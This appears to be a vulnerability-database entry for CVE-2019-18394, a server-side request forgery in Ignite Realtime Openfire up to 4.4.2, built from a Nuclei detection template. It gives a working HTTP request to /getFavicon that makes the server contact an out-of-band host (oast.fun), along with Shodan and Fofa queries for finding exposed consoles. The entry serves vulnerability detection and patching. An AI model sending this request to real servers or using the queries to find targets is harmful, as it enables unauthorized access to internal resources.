| Title | Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure. |
| Remediation | Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9388 |
| CVE ID | CVE-2019-18394 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"openfire admin console"http.title:"openfire" |
| Fofa Query | title="openfire"title="openfire admin console" |
| Tags | cve cve2019 ssrf openfire oast igniterealtime vkev vuln |
Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
GET /getFavicon?host=oast.fun? HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-18394.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-18394.pcap
N/AN/A